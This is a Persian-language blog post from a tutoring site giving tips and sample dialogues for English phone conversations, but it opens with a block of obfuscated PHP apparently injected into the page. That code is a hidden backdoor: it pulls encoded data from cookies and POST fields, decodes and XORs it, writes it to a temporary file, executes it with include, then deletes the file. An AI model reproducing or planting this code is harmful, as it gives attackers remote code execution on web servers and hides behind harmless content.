$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} مکالمه تلفنی انگلیسی - مکالمه تلفنی انگلیسی با ترجمه فارسی | وبلاگ اتیچر
skip to Main Content

نکاتی برای یک مکالمه تلفنی انگلیسی موفق

مکالمه تلفنی انگلیسی
زمان مطالعه: ۵ دقیقه

همه‌ی ما در روز ممکن است چندبار با تلفن سر و کار داشته باشیم. اما مکالمه تلفنی انگلیسی می‌تواند برای ما عمل روزمره‌ای به حساب نیاید. علاوه بر این شما در مکالمه تلفنی انگلیسی مشکلات دیگری نیز خواهید داشت. از آن‌جا که شخص آن‌سوی خط تنها صدای شما را می‌شنود باید در مکالمه‌ی خود مسلط باشید. شما دیگر نمی‌توانید از زبان بدن یا حالت چهره‌ی خود برای رساندن پیام استفاده کنید. مساله‌ی دیگری که ممکن است انتقال پیام شما را دشوار کند نحوه‌ی تلفظ کلمات است. تلفظ کلمات در مکالمه تلفنی انگلیسی لازم است رسا و صحیح باشد. در این مقاله شما می‌توانید نکاتی را بخوانید که به یک مکالمه تلفنی انگلیسی موفق کمک کند. هم‌چنین چند مکالمه تلفنی انگلیسی با ترجمه فارسی را مرور خواهید کرد.

محدودیت‌های یک مکالمه تلفنی انگلیسی

انتخاب کلمات و ساختار جمله با توجه به این‌که شما با چه کسی و برای چه کاری تماس می‌گیرید بسیار اهمیت دارند. ممکن است شما فقط بخواهید با یک دوست در آن‌سوی خط تلفن صحبت کنید. شاید هم در حال برقراری یک تماس کاری هستید. این موارد تعیین می‌‌کنند که شما باید پای تلفن رسمی صحبت کنید و یا می‌توانید خیلی راحت کلمات خود را انتخاب کنید. در ادامه محدودیت‌های یک مکالمه تلفنی انگلیسی را می‌خوانیم.
• زمان شما محدود است: استفاده از تلفن به طور معمول برای راه انداختن کاری انجام می‌شود. خوب است که تماس شما کوتاه باشد و در همان زمان کوتاه هرآن‌چه که نیاز است را بگویید.
• مخاطب تصویر ندارد: پیش از آن‌که دست به گوشی ببرید و مکالمه تلفنی انگلیسی خود را آغاز کنید کلمات و جملات خود را با صدای بلند تکرار کنید. لازم است شما بتوانید کلمات را درست تلفظ کنید.
• محدودیت در انتخاب کلمات: محدودیت دیگر شما انتخاب کلمات است. یک تماس تلفنی کاری نیاز به دقت بیشتری دارد پس قبل از تماس باید به دقت مکالمه‌ی خود را بررسی کنید. برای مثال استفاده از would و could در یک مکالمه تلفنی انگلیسی، مودبانه محسوب می‌شوند.
بدون در نظر گرفتن این محدودیت‌ها در یک مکالمه تلفنی انگلیسی، ممکن است صحبت با تلفن به خودی خود و به زبان اول نیز برای شما استرس به‌همراه داشته باشد. به‌خصوص اگر این یک تماس کاری و رسمی باشد. لازم است پس از دانستن محدودیت‌ها راه‌کارهای رفع آن را بدانیم.
نکات مربوط به مکالمه انگلیسی

قبل از یک مکالمه تلفنی انگلیسی چه کنیم؟

اگر پیش از انجام مکالمه زمان کافی داشته باشید بهتر است برای انجام مکالمه آمادگی لازم را کسب کنید تا اعتماد به‌نفس بیشتری نیز از خود نشان دهید. تمرین کردن و کمک گرفتن از یک معلم زبان می‌تواند راه‌گشا باشد. در پلتفرم اتیچر شما می‌توانسد با توجه به پروفایل و رزومه استاد، استاد مکالمه مورد نظر خود را انتخاب کنید.
تمرین کنید: تمرین کردن همیشه می‌تواند خیلی از مشکلات را حل کند. در اولین تماس‌ها به احتمال زیاد استرس شما زیاد است، اما به مرور و با تکرار آن، مکالمه تلفنی انگلیسی برای شما عادی خواهد شد. اما برای اولین تماس‌ها هم خوب است که قبل از برقراری تماس مدت کوتاهی به آن فکر کنید و کلمات خود را به درستی انتخاب کنید. شما با شبیه‌سازی موقعیت خود حین انجام مکالمه تلفنی انگلیسی می‌توانید سوالات احتمالی را نیز پاسخ دهید و برای مکالمه آمادگی کافی داشته باشید.
یادداشت کنید: می‌توانید از تمرین خود کلیدواژه‌هایی که نیاز دارید را روی یک کاغذ یادداشت کنید تا آن‌ها را فراموش نکنید و پیش چشم خود داشته باشید. این کار به شما کمک خواهد کرد تا با تسلط بیشتری به مکالمه تلفنی انگلیسی ادامه دهید.
از یک شخص مسلط کمک بگیرید: کسی که به تلفن شما پاسخ می‌دهد ممکن است آدم کم‌حوصله‌ای باشد. در نتیجه شما نه تنها زمان زیادی ندارید، بلکه فرصت اشتباه هم نخواهید داشت. پس بهتر است قبل از تماس با شخصی که می‌تواند درستی تلفظ شما را بررسی کند تمرین کنید. اگر قرار است که شما بیش از یک یا دوبار با تماس و مکالمه تلفنی انگلیسی سر و کار داشته باشید، خوب است که قبل از شروع به کار یک دوره کلاس رزرو کنید و با یک استاد آموزش زبان تمرینات خود را پیش ببرید.
با انجام این‌کارها لازم نیست نگرانی زیادی برای انجام مکالمه تلفنی انگلیسی داشته باشید.

تسلط در مکالمه انگلیسی

روند یک مکالمه تلفنی انگلیسی چگونه است؟

این قسمت مانند یک مکالمه به زبان اول شماست. گوشی را برمی‌دارید، شماره‌ی مورد نظر را می‌گیرید و تماس برقرار می‌شود. قبل از هرچیز لازم است شما خود را معرفی کنید. بخش‌هایی از مکالمه تلفنی انگلیسی با ترجمه فارسی را می‌توانید در ادامه ببینید:

حالت رسمی
This is (your name) from (company name)
من …. هستم، از شرکت……

Hello. This is (you name). I am calling about….( your advertisement, information about your services, to make a reservation, etc)
سلام. من …. هستم. در مورد ….. تماس می‌گیرم. (تبلیغات مورد نظر شما، اطلاعاتی در مورد ارائه‌ی سرویس، رزرو کردن و غیره)

حالت غیر رسمی
Hi, it’s Nima
سلام، من نیما هستم

Hi, it’s me
سلام، منم.

گاهی نیز ممکن است شما بخواهید پشت تلفن سراغ کسی را بگیرید:

حالت رسمی
Is ……… available?
آیا ……. در دسترس است؟
May I speak to ……….? (Example: May I speak to the doctor?)
آیا می‌توانم با ……… صحبت کنم. (برای مثال: با دکتر)
I’d like to talk with …………….
تمایل دارم با …….. صحبت کنم.

حالت غیر رسمی
Is …… free?
……. بیکاره؟
Can I talk to …….?
می‌تونم با ……. صحبت کنم؟

نمونه مکالمه تلفنی انگلیسی با ترجمه فارسی

فرض کنید لازم است شما با یک شرکت تماس بگیرید و می‌خواهید با شخص مورد نظر خود صحبت کنید. ممکن است او در آن‌جا حضور نداشته باشد. در این صورت مکالمه به صورت زیر پیش خواهد رفت:

A: Star company, Helen speaking. How can I help you?
B: Hello, this is Ryan Bardos. May I speak with Natalie Jones, please?
A: One moment please – I’ll put you through.
A: I’m sorry, Natalie’s in a meeting at the moment. Would you like to leave a message?
B: Yes, could you ask her to call me back as soon as possible? It’s pretty urgent.
A: Of course. Does she have your number?
B: She has my office number.
A: I’ll give her the message.
B: Thanks a lot. Bye.

الف: شرکت استار، هلن صحبت می‌کد. چه‌طور می‌توانم به شما کمک کنم؟
ب: سلام. من رایان باردوز هستم. لطفا می‌توانم با ناتالی جونز صحبت کنم؟
الف:لطفا یک لحظه منتظر باشید، به شما اطلاع می‌دهم.
الف: متاسفم، ناتالی در حال حاضر در یک جلسه است، آیا می‌خواهید برای او پیامی بگذارید؟
ب: بله، ممکن است از او بخواهید فورا با من تماس بگیرد؟ خیلی فوری است.
الف: البته، آیا او شماره‌ی شما را دارد؟
ب: او شماره‌ی دفتر من را دارد.
الف: من پیام شما را به او خواهم داد
ب: خیلی ممنون. خدانگهدار

در نهایت
پس از انجام مکالمه لازم است بررسی کنید که آیا پیام شما به درستی منتقل شده است یا نه؟ برای اطمینان از موفقیت آمیز بودن مکالمه تلفنی انگلیسی می‌توانید از شخصی که با او صحبت کرده‌اید بخواهید که به شما بگوید از مکالمه چه چیزی دریافته است. هم‌چنین اگر شما کلمه یا جمله‌ای را به خوبی متوجه نشده‌اید حتما بخواهید که برایتان دوباره تکرار کنند تا اشتباهی رخ ندهد. اگرمشتاق بیشتر دانستن هستید، متن مکالمه انگلیسی بین دو دوست را بخوانید.

منبع

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search